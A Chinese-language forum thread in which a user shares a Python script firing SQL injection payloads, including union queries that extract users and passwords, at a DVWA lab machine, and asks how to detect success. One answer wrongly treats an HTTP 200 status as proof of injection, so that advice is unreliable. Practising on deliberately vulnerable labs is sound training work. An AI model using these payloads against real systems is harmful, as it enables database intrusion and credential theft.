python脚本测试dvwa靶机
下面是代码
需要判断注入成功与否的代码、求帮助。
#-*- coding:utf-8 -*-
import requests
def post_http(sqlstr):
url = 'http://192.168.56.101/vulnerabilities/sqli/?id='+sqlstr+'&Submit=Submit'
req = requests.get(url,headers=headers)
return(url,req.status_code,req.text)
list=["1' union select 1,version() -- ",
"1' or 1=1 order by 1 – ",
"union select 1,database()#",
" 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#",
"1' union select user,password from users # "]
for sqlstr in list:
headers = {'Cookie':'security=low; PHPSESSID=67rd36402q06bl7q01nr15cg94','Referer':'http://192.168.56.101/vulnerabilities/sqli/'}
print('++++++++SQL注入++++++++')
url, status_code, result = post_http(sqlstr)
print(url + '|' + str(status_code))
print(result)
要判断 SQL 注入是否成功,可以通过检查响应内容来实现。例如,可以通过判断响应内容中是否包含了预期的数据来确定 SQL 注入是否成功。
在上面的代码中,可以通过修改 post_http 函数来实现这一功能。例如,可以添加一个新的参数 success,用于表示 SQL 注入是否成功,并在函数内部检查响应内容来设置这个参数的值。例如:
def post_http(sqlstr, success):
# 其他代码
if 'expected_data' in result:
success = True
return(url, status_code, result, success)
在上面的代码中,我们添加了一个新的参数 success,并在函数内部检查响应内容来设置这个参数的值。如果响应内容中包含了预期的数据,就设置 success 为 True,表示 SQL 注入成功;否则设置为 False,表示 SQL 注入失败。
最后,可以在主程序中通过检查函数的返回值来判断 SQL 注入是否成功。例如:
for sqlstr in list:
# 其他代码
url, status_code
, result, success = post_http(sqlstr, False)
if success:
print('SQL注入成功')
else:
print('SQL注入失败')
在上面的代码中,我们修改了 post_http
函数的参数列表,并在主程序中调用函数时传入了一个初始值为 False
的 success
参数。然后,在主程序中,我们通过检查函数的返回值中的 success
变量来判断 SQL 注入是否成功。如果 success
为 True
,就表示 SQL 注入成功,反之则失败。
通过上面的修改,我们就可以在脚本中判断 SQL 注入是否成功了。此外,为了更好地检测 SQL 注入漏洞,还可以添加更多的测试用例,并通过
不断调整测试用例来确保检测的准确性。此外,还可以通过添加相应的日志记录功能来更好地追踪检测过程,并根据实际情况来调整脚本的代码,以提高脚本的可用性和灵活性。
运行结果和报错内容没有
如果注入成功你的statue_code 就是200 ,当然报错也是注入失败
#-*- coding:utf-8 -*-
import requests
def post_http(sqlstr):
url = 'http://192.168.56.101/vulnerabilities/sqli/?id='+sqlstr+'&Submit=Submit'
try:
req = requests.get(url,headers=headers,)
return(url,req.status_code,req.text)
except:
return (url,0,'')
list=["1' union select 1,version() -- ",
"1' or 1=1 order by 1 – ",
"union select 1,database()#",
" 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#",
"1' union select user,password from users # "]
for sqlstr in list:
headers = {'Cookie':'security=low; PHPSESSID=67rd36402q06bl7q01nr15cg94','Referer':'http://192.168.56.101/vulnerabilities/sqli/'}
print('++++++++SQL注入++++++++')
url, status_code, result = post_http(sqlstr)
if status_code==200:
print("注入成功")
print(url + '|' + str(status_code))
print(result)
else:
print("注入失败")
Dvwa之SQL 注入全级别学习笔记
如有帮助,望采纳
https://blog.csdn.net/qq_52819300/article/details/126881063